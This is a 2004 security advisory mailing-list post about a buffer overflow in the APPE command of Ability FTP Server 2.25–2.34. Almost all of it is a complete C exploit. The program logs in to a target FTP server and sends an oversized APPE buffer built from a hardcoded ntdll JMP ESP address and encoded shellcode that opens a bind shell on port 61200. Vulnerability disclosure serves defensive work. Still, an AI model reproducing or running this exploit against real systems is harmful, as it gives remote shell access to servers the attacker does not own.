[EXPL] Ability FTP APPE Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 12/16/04

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Date: 16 Dec 2004 12:29:11 +0200

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      Ability FTP APPE Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    Presented below is a C based exploit code that exploits a vulnerability in
    Ability FTP Server's vulnerable APPE command.

    DETAILS

    Vulnerable Systems:
     * Ability FTP Server version 2.25 up to version 2.34 (inclusive)

    Exploit:
    /*

    TESTED ON WINXP SP0 RUS

    (c) by Dark Eagle
    from unl0ck research team
    http://unl0ck.void.ru

    HAPPY NEW YEAR!

    Greetz go out to: nekd0, antiq, fl0wsec (setnf, nuTshell), nosystem
    (CoKi), reflux...

    */

    #include <string.h>
    #include <stdio.h>
    #include <winsock2.h>
    #include <windows.h>

    // shellc0de by m00 team bind 61200
    char shellcode[]=
    "\x90\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\xBB\x40\x81\x38\x6D"
    "\x30\x30\x21\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\x52\xD7\xBA"
    "\xBB\xBB\xE6\xEE\x8A\x60\xDF\x30\xB8\xFB\x28\x30\xF8\x44\xFB"
    "\xCE\x42\x30\xE8\xB8\xDD\x8A\x69\xDD\x03\xBB\xAB\xDD\x3A\x81"
    "\xF6\xE1\xCF\xBC\x92\x79\x52\x49\x44\x44\x44\x32\x68\x30\xC1"
    "\x87\xBA\x6C\xB8\xE4\xC3\x30\xF0\xA3\x30\xC8\x9B\x30\xC0\x9F"
    "\xBA\x6D\xBA\x6C\x47\x16\xBA\x6B\x2D\x3C\x46\xEA\x8A\x72\x3B"
    "\x7A\xB4\x48\x1D\xC9\xB1\x2D\xE2\x3C\x46\xCF\xA9\xFC\xFC\x59"
    "\x5D\x05\xB4\xBB\xBB\xBB\x92\x75\x92\x4C\x52\x53\x44\x44\x44"
    "\x8A\x7B\xDD\x30\xBC\x7A\x5B\xB9\x30\xC8\xA7\xBA\x6D\xBA\x7D"
    "\x16\xBA\x6B\x32\x7D\x32\x6C\xE6\xEC\x36\x26\xB4\xBB\xBB\xBB"
    "\xE8\xEC\x44\x6D\x36\x26\xE8\xBB\xBB\xBB\xE8\x44\x6B\x32\x7C"
    "\x36\x3E\xE1\xBB\xBB\xBB\xEB\xEC\x44\x6D\x36\x36\x2C\xBB\xBB"
    "\xBB\xEA\xD3\xB9\xBB\xBB\xBB\x44\x6B\x36\x26\xDE\xBB\xBB\xBB"
    "\xE8\xEC\x44\x6D\x8A\x72\xEA\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB"
    "\xD3\xB9\xBB\xBB\xBB\x44\x6B\x32\x78\x36\x3E\xCB\xBB\xBB\xBB"
    "\xEB\xEC\x44\x6D\xD3\xAB\xBB\xBB\xBB\x36\x36\x38\xBB\xBB\xBB"
    "\xEA\xE8\x44\x6B\x36\x3E\xCE\xBB\xBB\xBB\xEB\xEC\x44\x6D\xD3"
    "\xBA\xBB\xBB\xBB\xE8\x44\x6B\x36\x3E\xC7\xBB\xBB\xBB\xEB\xEC"
    "\x44\x6D\x8A\x72\xEA\xEA\xE8\x44\x6B\xE4\xEB\x36\x26\xFC\xBB"
    "\xBB\xBB\xE8\xEC\x44\x6D\xD3\x44\xBB\xBB\xBB\xD3\xFB\xBB\xBB"
    "\xBB\x44\x6B\x32\x78\x36\x36\x93\xBB\xBB\xBB\xEA\xEC\x44\x6D"
    "\xE8\x44\x6B\xE3\x32\xF8\xFB\x32\xF8\x87\x32\xF8\x83\x7C\xF8"
    "\x97\xBA\xBA\xBB\xBB\x36\x3E\x83\xBB\xBB\xBB\xEB\xEC\x44\x6D"
    "\xE8\xE8\x8A\x72\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB\xEA\xEA\x36"
    "\x26\x04\xBB\xBB\xBB\xE8\xEA\x44\x6B\x36\x3E\xA7\xBB\xBB\xBB"
    "\xEB\xEC\x44\x6D\x44\x6B\x53\x34\x45\x44\x44\xFC\xDE\xCF\xEB"
    "\xC9\xD4\xD8\xFA\xDF\xDF\xC9\xDE\xC8\xC8\xBB\xF7\xD4\xDA\xDF"
    "\xF7\xD2\xD9\xC9\xDA\xC9\xC2\xFA\xBB\xFE\xC3\xD2\xCF\xEB\xC9"
    "\xD4\xD8\xDE\xC8\xC8\xBB\xFC\xDE\xCF\xE8\xCF\xDA\xC9\xCF\xCE"
    "\xCB\xF2\xD5\xDD\xD4\xFA\xBB\xF8\xC9\xDE\xDA\xCF\xDE\xEB\xC9"
    "\xD4\xD8\xDE\xC8\xC8\xFA\xBB\xFC\xD7\xD4\xD9\xDA\xD7\xFA\xD7"
    "\xD7\xD4\xD8\xBB\xCC\xC8\x89\xE4\x88\x89\xBB\xEC\xE8\xFA\xE8"
    "\xCF\xDA\xC9\xCF\xCE\xCB\xBB\xEC\xE8\xFA\xE8\xD4\xD8\xD0\xDE"
    "\xCF\xFA\xBB\xD9\xD2\xD5\xDF\xBB\xD7\xD2\xC8\xCF\xDE\xD5\xBB"
    "\xDA\xD8\xD8\xDE\xCB\xCF\xBB\xB9\xBB\x54\xAB\xBB\xBB\xBB\xBB"
    "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBA\xBB\xBB\xBB\xBB\xBB\xBB"
    "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"
    "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"
    "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xD8\xD6\xDF\xBB\x6D\x30\x30\x21";

    int conn(char *host, u_short port)
    {
        int sock = 0;
        struct hostent *hp;
        WSADATA wsa;
        struct sockaddr_in sa;

        WSAStartup(MAKEWORD(2,0), &wsa);
        memset(&sa, 0, sizeof(sa));

        hp = gethostbyname(host);
        if (hp == NULL) {
            printf("gethostbyname() error!\n"); exit(0);
        }
        sa.sin_family = AF_INET;
        sa.sin_port = htons(port);
        sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) {
            printf("socket\n");
            exit(0);
            }
        if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
            {printf("connect() error!\n");
            exit(0);
              }
        printf("connected to %s\n", host);
        return sock;
    }

    void login(int sock, char *login, char *pass)
    {
    // SECU
    FILE *file;
    char ubuf[1000], pbuf[1000], rc[200];
    int i;
    char bochka[2000], med[2000];

    file = fopen("bochka.txt", "w+");

          memset(bochka, 0x00, 2000);
          memset(bochka, 0x43, 1000);
          *(long*)&bochka[969] = 0x77F5801C; // ntdll.dll JMP ESP ADDR...
          memcpy(bochka+strlen(bochka), &shellcode, sizeof(shellcode));

          sprintf(med, "APPE %s\r\n", bochka);
          fprintf(file, "%s", med);

          if ( strlen(pass) >= 100 ) { printf("2 long password!\n"); exit(0);
    }
          if ( strlen(login) >= 100 ) { printf("2 long login!\n"); exit(0); }

          sprintf(ubuf, "USER %s\r\n", login);
          send(sock, ubuf, strlen(ubuf), 0);
          printf("USER sending...\n");
          Sleep(1000);
          printf("OK!\n");

          sprintf(pbuf, "PASS %s\r\n", pass);
          send(sock, pbuf, strlen(pbuf), 0);
          printf("PASS sending...\n");
          Sleep(1000);
          recv(sock, rc, 200, 0);
          if ( strstr(rc, "530")) {printf("Bad password!\n"); exit(0); }
          printf("OK!\n");
          Sleep(1000);
          printf("Sending 604KY C MEDOM!\n");
          send(sock, med, strlen(med), 0);
          Sleep(1000);
          printf("TrY To CoNnEcT tO...\n\n");

    }

    int main(int argc, char **argv)
    {
        int sock = 0;
        int data;
        printf("\nAbility FTP Server <= 2.34 R00T exploit\n");
        printf("by Dark Eagle [ unl0ck team ]\nhttp://unl0ck.void.ru\n\n");

        if ( argc < 4 ) { printf("usage: un-aftp.exe <host> <username>
    <password>\n\n"); exit(0); }

        sock = conn(argv[1], 21);
        login(sock, argv[2], argv[3]);
        closesocket(sock);
        Sleep(2000);

        return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by Dark Eagle.
    The original article can be found at:
    <http://unl0ck.void.ru/exploits/un-aftpd.c>
    http://unl0ck.void.ru/exploits/un-aftpd.c

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